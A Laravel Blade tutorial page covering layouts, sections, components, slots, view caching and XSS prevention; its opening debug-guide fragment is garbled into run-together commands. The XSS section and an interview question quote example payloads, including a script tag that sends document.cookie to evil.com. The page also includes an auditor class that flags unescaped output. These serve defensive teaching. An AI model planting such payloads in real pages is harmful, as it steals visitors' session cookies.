Laravel Blade Templates Explained — Layouts, Components and Real-World Patterns
- The master layout + @yield pattern is the foundation of DRY HTML in Laravel — define your shell once, let every page fill in only its unique content with @section.
- @forelse is almost always better than @foreach in real apps — it handles empty collections elegantly without a separate @if($items->isEmpty()) check cluttering your view.
- Class-based Blade components separate UI logic from UI markup, making your components unit-testable without HTTP requests — push
match()statements and conditionals into the PHP class, not the Blade file.
- Layouts define the HTML shell once — nav, footer, head. Child views extend layouts and fill yield points.
- Components are reusable UI elements with a PHP class (logic) and a Blade view (markup). Props and slots pass data.
- Directives (@if, @foreach, @forelse, @yield, @section) replace raw PHP in templates.
- @extends('layouts.app') — child declares its parent layout
- @yield('content') — layout marks injection points
- @section('content') ... @endsection — child fills yield points
— component invocation with props - $slot — default slot content inside component tags
Page renders blank — layout shows but no child content.
head -c 20 resources/views/products/index.blade.php | xxdphp artisan view:clear && php artisan view:cache 2>&1'Headers already sent' error on redirect.
grep -rn 'echo\|print\|<?=' resources/views/ | head -10head -1 resources/views/layouts/app.blade.php | xxd | head -1XSS vulnerability suspected — script tags in rendered HTML.
grep -rn '{!!' resources/views/ | wc -lgrep -rn '{!!' resources/views/Blade changes not reflected in browser.
php artisan view:clearphp artisan cache:clear && sudo systemctl restart php8.2-fpmComponent renders but props are missing.
grep 'public' app/View/Components/AlertMessage.phpgrep '<x-alert-message' resources/views/**/*.blade.phpView rendering is slow (> 200ms per view).
ls -la storage/framework/views/ | wc -lphp artisan telescope:prune && php artisan telescopeProduction Incident
Production Debug GuideFrom blank pages to broken redirects — systematic debugging paths for Blade rendering problems.
Every professional Laravel application you've ever used — from SaaS dashboards to e-commerce stores — relies on Blade to keep its HTML sane. Without a templating engine, you'd copy-paste your navbar and footer into every single file. Change one link in that navbar? Now you're editing 40 files. Blade exists so that never happens to you.
Blade compiles templates into cached PHP files. The first request compiles the .blade.php file and stores the result in storage/framework/views/. Subsequent requests serve the compiled PHP directly — no re-parsing. This means Blade adds near-zero runtime overhead compared to raw PHP. The compilation cost is paid once per template change.
The architectural decisions you make in Blade — layout depth, component granularity, slot design — directly impact maintainability, testability, and rendering performance at scale. A poorly structured Blade hierarchy with 4 levels of nested layouts and 200-line component files becomes unmanageable after 6 months of feature development.
Blade Layouts: The Master Template Pattern Every App Needs
The layout system is Blade's most important feature and the one most developers underuse. The idea is simple: you define one 'master' layout file that contains your HTML skeleton — doctype, head, nav, footer — and you mark certain regions as 'yield points' using @yield. Child views then 'extend' that master and fill in those yield points using @section.
This is a parent-child relationship. The parent (layout) owns the shell. The child (page view) owns only its content. The child can't accidentally break the nav because it never touches it.
There are two flavours here worth knowing: @yield with a default fallback value, and @section with @show (which renders the section immediately, useful for things like a default sidebar). Most developers only learn @yield and miss the @show trick entirely.
Nested layouts: Production applications often use nested layouts — a base layout (HTML skeleton), an app layout (adds auth navigation), and a section layout (adds sidebar). Each level adds its own structure and yields to the next. The trade-off: deeper nesting means more files to navigate when debugging a missing yield point. Keep nesting to 2-3 levels maximum.
@section with @show vs @yield: @section('sidebar') Default sidebar content @show renders the section immediately AND makes it overridable. @yield('sidebar') only renders if the child provides it. Use @show for sections with meaningful defaults (sidebar, breadcrumbs). Use @yield for sections that have no sensible default (page content).
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> {{-- @yield pulls in the child's 'title' section. --}} {{-- The second argument is the DEFAULT if the child forgets to set it. --}} <title>@yield('title', 'My App — Default Title')</title> {{-- Lets child views inject page-specific CSS without breaking global styles --}} @yield('page_styles') </head> <body> <nav class="main-nav"> <a href="/">Home</a> <a href="/products">Products</a> <a href="/contact">Contact</a> </nav> <main class="content-wrapper"> {{-- This is where every child view's content will be injected --}} @yield('content') </main> <footer> <p>© {{ date('Y') }} My App. All rights reserved.</p> </footer> {{-- Child views can push page-specific scripts here without editing this file --}} @yield('page_scripts') </body> </html>
- A single layout forces every page to share the same navigation — authenticated and public pages need different navs.
- Nested layouts let you compose: base (HTML skeleton) -> app (auth nav) -> dashboard (sidebar).
- Each level yields to the next. The child only needs to extend the most specific layout.
- Trade-off: deeper nesting means more files to check when a yield point is missing.
Child Views, @section and @parent — Writing Pages That Don't Repeat Themselves
Now that the master layout exists, every page in your app just needs to extend it and fill in the blanks. The @extends directive is always the very first line of a child view — nothing can come before it, not even whitespace, or you'll get unexpected output in your HTTP headers.
The real power move here is @parent. Imagine your layout defines a default sidebar in a section. A specific page wants to keep that default sidebar AND add something extra to it. @parent lets you render the parent's version of the section and then append to it. Without @parent, you'd completely override the parent content.
This pattern becomes essential in admin panels where a global sidebar exists in the layout, but certain pages (like the settings page) need to inject extra sidebar links without nuking the global ones.
@push and @stack: For pages that need to inject scripts or styles at specific points, @push('scripts') and @stack('scripts') are cleaner than @section/@yield. Multiple child views can @push to the same stack, and the layout renders all of them. This is ideal for page-specific JavaScript that should load after the global scripts.
View composers: When multiple views need the same data (e.g., a list of categories for a sidebar), view composers inject that data automatically without the controller needing to pass it to every view. Register view composers in AppServiceProvider or a dedicated ComposerServiceProvider.
{{-- @extends must be the FIRST line. A blank line above this will cause output issues. --}}
@extends('layouts.app')
{{-- Fill the 'title' yield point we defined in the layout --}}
@section('title', 'Browse All Products')
{{-- Inject page-specific CSS. The layout's global CSS is untouched. --}}
@section('page_styles')
<link rel="stylesheet" href="/css/product-grid.css">
@endsection
{{-- This is the main payload — the unique content of this page --}}
@section('content')
<div class="page-header">
<h1>Our Products</h1>
<p>Browse {{ $products->count() }} items available today.</p>
</div>
<div class="product-grid">
{{-- @forelse is Blade's smart loop: it handles the empty-collection case gracefully --}}
@forelse($products as $product)
<div class="product-card">
<h2>{{ $product->name }}</h2>
{{-- {{ }} escapes HTML by default — protects against XSS attacks --}}
<p>{{ $product->description }}</p>
{{-- number_format keeps currency display consistent --}}
<span class="price">${{ number_format($product->price_in_cents / 100, 2) }}</span>
<a href="{{ route('products.show', $product) }}">View Details</a>
</div>
@empty
{{-- This block only renders when $products is empty — no if/else needed --}}
<div class="empty-state">
<p>No products found. Check back soon!</p>
</div>
@endforelse
</div>
@endsection
{{-- Inject the charting library only on this page — not loaded app-wide --}}
@section('page_scripts')
<script src="/js/product-filters.js"></script>
@endsection
- @section/@yield is for content that replaces a region (page content, title).
- @push/@stack is for accumulating items (scripts, styles, meta tags).
- Multiple views can @push to the same stack — all items are rendered in order.
- Use @stack for scripts: the layout defines @stack('scripts') and each page @pushes its own script.
Blade Components — Reusable UI Pieces With Real Logic Attached
Layouts handle page structure. Components handle reusable UI elements — things like alert boxes, modals, buttons, cards. A Blade component is a combination of a PHP class (for logic) and a Blade view (for markup). This separation of concerns is what makes components more powerful than simple @include.
When you run php artisan make:component AlertMessage, Laravel creates two files: app/View/Components/AlertMessage.php and resources/views/components/alert-message.blade.php. The PHP class handles data manipulation, and the view handles presentation.
Components accept data through props (typed attributes declared in the class) and content through slots. The default slot is whatever you put between the opening and closing component tags. Named slots let you inject content into specific regions of a component — just like @yield does for layouts, but scoped to that one component.
Anonymous components: For purely presentational elements (buttons, dividers, badges) with no logic, anonymous components skip the PHP class entirely. Place a Blade file in resources/views/components/ and invoke it with <x-button>. Props are passed via the @props directive at the top of the file.
Component performance: Component constructors are called on every render. If a constructor runs a database query, that query executes on every page render — even if the component's output is cached. Move expensive operations to view composers or lazy-load them with @aware (Laravel 10+).
<?php namespace App\View\Components; use Illuminate\View\Component; class AlertMessage extends Component { /** * The alert type controls styling (success, warning, danger, info). * We validate it here so the VIEW stays clean and dumb. */ public string $type; public string $heading; public function __construct(string $type = 'info', string $heading = '') { // Validate the type so bad values don't slip through to the CSS class $this->type = in_array($type, ['success', 'warning', 'danger', 'info']) ? $type : 'info'; $this->heading = $heading; } /** * A computed property — available in the view as $iconClass. * Logic lives HERE, not buried in the Blade template. */ public function iconClass(): string { return match($this->type) { 'success' => 'icon-check-circle text-green-600', 'warning' => 'icon-exclamation text-yellow-600', 'danger' => 'icon-x-circle text-red-600', default => 'icon-info text-blue-600', }; } public function render() { return view('components.alert-message'); } }
- Anonymous components: purely presentational, no logic, just markup with props. Use for buttons, dividers, badges.
- Class-based components: need validation, computed properties, or conditional logic. Use for alerts, modals, data tables.
- If you need a
match()statement or validation in the component, use a class. If it's just HTML with variable substitution, use anonymous. - Anonymous components are defined with @props at the top of the Blade file. No PHP class is generated.
match() statements and conditionals into the PHP class, not the Blade file. Anonymous components are for pure presentation. Named slots let components expose multiple content regions.Component Views, Slots and Using Components in Real Pages
The component view file is where your HTML lives. It receives all public properties from the PHP class automatically as variables. The special $slot variable holds whatever content you placed between the component tags when you used it.
Named slots let your component expose multiple content regions. Think of a card component that has a header slot, a body slot (the default $slot), and a footer slot. The page using the card decides what goes in each region — the component just provides the structure.
Anonymous components (created without a PHP class, just a Blade file in resources/views/components/) are great for purely presentational things like buttons or dividers where there's no logic involved. If it needs logic, use a class-based component. If it's just markup with props, use an anonymous component.
Slot scoping and attributes: Slots receive the parent's variable scope by default. If the parent has $user available, the slot content can access $user. Named slots can also receive data from the component via scoped slots — the component passes data to the slot, and the slot content can access it. This is useful for rendering lists where the component controls the iteration but the caller controls the item template.
Component attributes ($attributes): The $attributes variable captures any HTML attributes passed to the component that are not declared as props. Use $attributes->merge() to combine caller-provided attributes with component defaults. This enables the component to accept arbitrary HTML attributes (class, id, data-*) without declaring each one as a prop.
{{--
$type, $heading are automatically available from the PHP class public properties.
$iconClass() is called as a method — note the () syntax.
$slot holds the content placed between <x-alert-message> tags.
--}}
<div class="alert alert-{{ $type }}" role="alert">
<div class="alert-icon">
{{-- Calling the computed method from the component class --}}
<span class="{{ $iconClass() }}"></span>
</div>
<div class="alert-body">
@if($heading)
<h4 class="alert-heading">{{ $heading }}</h4>
@endif
{{-- $slot renders whatever the caller put between the component tags --}}
<p>{{ $slot }}</p>
</div>
{{-- Named slot: renders only if the caller provides a footer slot --}}
@isset($actions)
<div class="alert-actions">
{{ $actions }}
</div>
@endisset
</div>
// HOW YOU USE THIS COMPONENT in any Blade page:
// ─────────────────────────────────────────────────────────
//
// <x-alert-message type="success" heading="Order Confirmed">
// Your order #1042 has been shipped and will arrive Friday.
// <x-slot name="actions">
// <a href="/orders/1042">Track Order</a>
// </x-slot>
// </x-alert-message>
//
// ─── Browser renders: ────────────────────────────────────
// <div class="alert alert-success" role="alert">
// <div class="alert-icon"><span class="icon-check-circle text-green-600"></span></div>
// <div class="alert-body">
// <h4 class="alert-heading">Order Confirmed</h4>
// <p>Your order #1042 has been shipped and will arrive Friday.</p>
// </div>
// <div class="alert-actions"><a href="/orders/1042">Track Order</a></div>
// </div>
- The default slot ($slot) is everything between the component tags that is NOT inside a named <x-slot>.
- Named slots (<x-slot name="header">) inject content into specific regions of the component.
- The component controls WHERE each slot renders. The caller controls WHAT each slot contains.
- Use @isset($slotName) in the component view to check if a named slot was provided before rendering it.
Blade Compilation, Caching, and Performance Tuning
Blade compiles .blade.php files into plain PHP files on first render. The compiled files are stored in storage/framework/views/ and served directly on subsequent requests. This means Blade adds near-zero runtime overhead — the compilation cost is paid once per template change.
Compilation lifecycle: On first request, Laravel checks if a compiled version exists in storage/framework/views/. If not (or if the source .blade.php is newer than the compiled file), it compiles the template. The compiled file is a standard PHP file that echoes HTML and executes PHP blocks. Subsequent requests include the compiled PHP file directly — no Blade parsing occurs.
Cache in production: In production (APP_DEBUG=false), Laravel caches compiled views aggressively. The view:cache artisan command pre-compiles all templates, eliminating the first-request compilation penalty. Always run php artisan view:cache during deployment.
Cache clearing pitfalls: php artisan view:clear deletes all compiled views. The next request triggers recompilation of every template — this can cause a latency spike on the first request after cache clear. In production, always run view:cache immediately after view:clear to pre-compile.
OPcache interaction: PHP's OPcache caches the compiled PHP bytecode. When Blade compiles a template to PHP, OPcache caches that PHP file's bytecode. This means Blade templates benefit from both Blade's compilation cache AND PHP's OPcache. Restarting PHP-FPM clears OPcache, causing a latency spike on the next request.
#!/bin/bash # Blade cache management for production deployments # ── Pre-compile all views during deployment ────────────────────────────────── # This runs as part of the deployment script, not on first request php artisan view:cache # Compiles all .blade.php files to storage/framework/views/ # ── Check compiled view count ─────────────────────────────────────────────── ls -la storage/framework/views/ | wc -l # Shows how many compiled view files exist # ── Clear and recompile (deployment step) ──────────────────────────────────── # Always clear THEN cache in sequence — never clear without recompiling php artisan view:clear && php artisan view:cache # ── Check OPcache status ──────────────────────────────────────────────────── php -r "var_dump(opcache_get_status());" | head -20 # Shows: memory_usage, opcache_statistics, scripts # ── Warm OPcache after PHP-FPM restart ────────────────────────────────────── # After restarting PHP-FPM, hit the homepage to warm the cache sudo systemctl restart php8.2-fpm curl -s http://localhost/ > /dev/null # First request compiles and caches. Subsequent requests are fast. # ── Monitor view compilation time ──────────────────────────────────────────── # Add to AppServiceProvider::boot() for debugging: # \Illuminate\Support\Facades\Blade::precompiler(function ($value) { # $start = microtime(true); # $result = app('blade.compiler')->compileString($value); # $duration = microtime(true) - $start; # \Log::info('Blade compilation', ['duration_ms' => $duration * 1000]); # return $result; # });
47 compiled view files
# OPcache status:
array(3) {
["memory_usage"]=> array(4) { ["used_memory"]=> int(12345678) }
["opcache_statistics"]=> array(12) { ["opcache_hit_rate"]=> float(99.2) }
["scripts"]=> array(47) { /* compiled blade templates */ }
}
# OPcache hit rate: 99.2% — templates are cached effectively
- view:clear deletes all compiled templates. The next request triggers compilation of every template.
- Compilation is CPU-intensive — compiling 50 templates can take 200-500ms.
- If 100 concurrent users hit the site simultaneously after a cache clear, all 100 requests trigger compilation.
- Always pair: php artisan view:clear && php artisan view:cache. This pre-compiles everything before users arrive.
Security: XSS Prevention, Output Escaping, and Template Auditing
Blade's default output directive {{ $variable }} automatically escapes HTML using htmlspecialchars. This is your primary defense against XSS (Cross-Site Scripting) attacks. The unescaped directive {!! $variable !!} renders raw HTML without escaping — it is equivalent to raw SQL and should be treated with the same caution.
XSS attack vector: A user submits a profile bio containing <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>. If the bio is rendered with {!! $user->bio !!}, the script executes in every visitor's browser. If rendered with {{ $user->bio }}, the script tag is escaped to <script>...</script> and displayed as harmless text.
When {!! !!} is acceptable: Only when the content has been explicitly sanitized with HTMLPurifier or generated by your own trusted code (e.g., a CMS rich text editor that sanitizes on save). Every {!! usage should have a comment explaining why it is safe.
Audit strategy: Run grep -rn '{!!' resources/views/ to find all unescaped output. Each occurrence should be reviewed: is the data user-submitted? Has it been sanitized? Is there a comment explaining the safety? Add a CI lint rule that flags new {!! usages in pull requests.
Attribute injection: Even with {{ }}, attributes can be exploited. href="{{ $url }}" is safe if $url is validated. But href="javascript:{{ $url }}" allows code execution. Always validate URLs server-side before rendering them in href attributes. Use Laravel's validated URL helper or the URL validation rule.
<?php namespace Io\Thecodeforge\Security; /** * Blade security audit utility. * Run via: php artisan tinker --execute="(new \Io\Thecodeforge\Security\BladeAuditor())->audit()" */ class BladeAuditor { /** * Scan all Blade templates for unescaped output and report findings. */ public function audit(): array { $viewPath = resource_path('views'); $findings = []; $files = new \RecursiveIteratorIterator( new \RecursiveDirectoryIterator($viewPath) ); foreach ($files as $file) { if ($file->getExtension() !== 'php') continue; $content = file_get_contents($file->getPathname()); $lines = explode("\n", $content); foreach ($lines as $lineNumber => $line) { // Find unescaped output: {!! ... !!} if (preg_match('/\{!!\s*(.+?)\s*!!\}/', $line, $matches)) { $findings[] = [ 'file' => str_replace($viewPath . '/', '', $file->getPathname()), 'line' => $lineNumber + 1, 'expression' => trim($matches[1]), 'risk' => $this->assessRisk($matches[1], $content), ]; } // Find potential attribute injection: href="javascript:..." if (preg_match('/href\s*=\s*["\']javascript:/i', $line)) { $findings[] = [ 'file' => str_replace($viewPath . '/', '', $file->getPathname()), 'line' => $lineNumber + 1, 'expression' => trim($line), 'risk' => 'CRITICAL — javascript: protocol in href attribute', ]; } } } return $findings; } private function assessRisk(string $expression, string $fileContent): string { // Check if the expression references user-submitted data $userPatterns = ['$user', '$request', '$input', '->bio', '->description', '->content']; foreach ($userPatterns as $pattern) { if (str_contains($expression, $pattern)) { return 'HIGH — references user-submitted data'; } } // Check if HTMLPurifier is used nearby if (str_contains($fileContent, 'HTMLPurifier') || str_contains($fileContent, 'purify')) { return 'MEDIUM — HTMLPurifier detected in file (verify it wraps this expression)'; } return 'LOW — does not reference user data (verify manually)'; } }
// $ php artisan tinker --execute="(new \Io\Thecodeforge\Security\BladeAuditor())->audit()"
//
// Output:
// [
// {
// "file": "products/show.blade.php",
// "line": 42,
// "expression": "$product->description",
// "risk": "HIGH — references user-submitted data"
// },
// {
// "file": "admin/dashboard.blade.php",
// "line": 15,
// "expression": "$trustedHtml",
// "risk": "MEDIUM — HTMLPurifier detected in file (verify it wraps this expression)"
// }
// ]
- {!! !!} renders raw HTML — it does not filter dangerous tags or attributes.
- HTMLPurifier parses the HTML, strips dangerous elements (<script>, <iframe>), and allows only safe tags.
- Without HTMLPurifier, {!! !!} on user content is an XSS vulnerability.
- Configure HTMLPurifier with a strict allowlist: only p, b, i, a[href], ul, ol, li.
| Feature | @include | Blade Components | Layouts (@extends/@yield) |
|---|---|---|---|
| Purpose | Embed a static partial (nav, footer snippets) | Reusable UI element with its own logic and props | Page-level HTML shell shared across all pages |
| Passes data | Via second argument array or parent scope | Via typed props declared in PHP class constructor | Via @section/@yield injection points |
| Has logic layer | No — pure view | Yes — dedicated PHP class with testable methods | No — but child views can contain logic |
| Slots support | No — all or nothing | Yes — default $slot + unlimited named slots | Yes — @yield and @section act as slots |
| Unit testable | No — requires rendering | Yes — class methods are plain PHP, fully testable | No — requires rendering |
| Nesting depth | Unlimited (can @include inside @include) | Unlimited (can nest components inside components) | 2-3 levels recommended (base -> app -> section) |
| Best used for | Simple includes like nav, footer, modals | Alert boxes, cards, buttons, data tables, form inputs | HTML skeleton shared across all pages in a section |
| File location | resources/views/partials/ | resources/views/components/ + app/View/Components/ | resources/views/layouts/ |
| Invocation syntax | @include('partials.nav') | <x-alert-message type="success" /> | @extends('layouts.app') |
| Performance | Fast — direct file include | Fast — compiled to direct PHP include | Fast — compiled once, cached |
🎯 Key Takeaways
- The master layout + @yield pattern is the foundation of DRY HTML in Laravel — define your shell once, let every page fill in only its unique content with @section.
- @forelse is almost always better than @foreach in real apps — it handles empty collections elegantly without a separate @if($items->isEmpty()) check cluttering your view.
- Class-based Blade components separate UI logic from UI markup, making your components unit-testable without HTTP requests — push
match()statements and conditionals into the PHP class, not the Blade file. - {{ }} escapes HTML output by default and is your XSS shield — treat {!! !!} like raw SQL and only use it when you've explicitly sanitized the content yourself.
- Blade compiles to cached PHP files — always run view:cache during deployment. Never run view:clear without immediately running view:cache.
- View composers inject shared data automatically, eliminating duplicated controller logic. Use them for data needed across multiple views (categories, user settings, navigation items).
⚠ Common Mistakes to Avoid
Interview Questions on This Topic
- QWhat is the difference between @yield and @section/@show in Laravel Blade, and when would you use each?
- QHow do Blade components differ from @include, and what advantage does using a class-based component give you that a plain @include cannot provide?
- QIf you use {!! $userBio !!} to render a user's profile bio and a user submits '<script>document.location="https://evil.com"</script>' as their bio, what happens and how do you prevent it?
- QExplain the Blade compilation lifecycle. What happens on the first request vs subsequent requests? How does OPcache interact with Blade's compiled templates?
- QA developer reports that their Blade template changes are not reflected in the browser after deployment. Walk me through the debugging process.
- QWhat is the @parent directive and when would you use it? How does it differ from completely overriding a section?
- QHow would you structure a Blade layout hierarchy for an application with public pages, authenticated pages, and an admin panel with a sidebar?
Frequently Asked Questions
What is the difference between @include and Blade components in Laravel?
@include simply pulls in another Blade file and shares the current view's variable scope. Blade components have their own PHP class for logic, accept typed props, support named slots, and are fully unit-testable. Use @include for simple static partials; use components for anything that accepts data or has conditional logic.
Can I use PHP code directly inside a Blade template?
Yes, using the @php ... @endphp directive. However, you should do this sparingly. Complex logic in Blade templates makes them hard to test and maintain. Prefer pushing logic into controllers, view composers, or component classes and passing only ready-to-display data to the view.
What is the difference between {{ }} and {!! !!} in Laravel Blade?
{{ $variable }} automatically escapes HTML entities, turning <script> into <script> and protecting you from XSS attacks. {!! $variable !!} outputs the raw value without escaping. Only use {!! !!} for HTML you have explicitly sanitized yourself — never for user-submitted content.
How does Blade compilation work and why does it matter for production?
Blade compiles .blade.php files into plain PHP files on first render. The compiled files are stored in storage/framework/views/ and served directly on subsequent requests. This means Blade adds near-zero runtime overhead. In production, run php artisan view:cache during deployment to pre-compile all templates. Never run view:clear without immediately running view:cache.
What is a view composer and when should I use one?
A view composer is a callback that injects data into a view automatically when it renders. Register view composers in AppServiceProvider. Use them when multiple views need the same data (e.g., categories for a sidebar). This eliminates duplicated data-passing logic across controllers.
How do I unit test a Blade component?
Test the PHP class methods directly with PHPUnit — no HTTP request needed. For example, test AlertMessage::iconClass() returns the correct CSS class for each alert type. Do not test the rendered HTML in unit tests — use Laravel's feature tests (with actingAs and get) for rendered output testing.
Developer and founder of TheCodeForge. I built this site because I was tired of tutorials that explain what to type without explaining why it works. Every article here is written to make concepts actually click.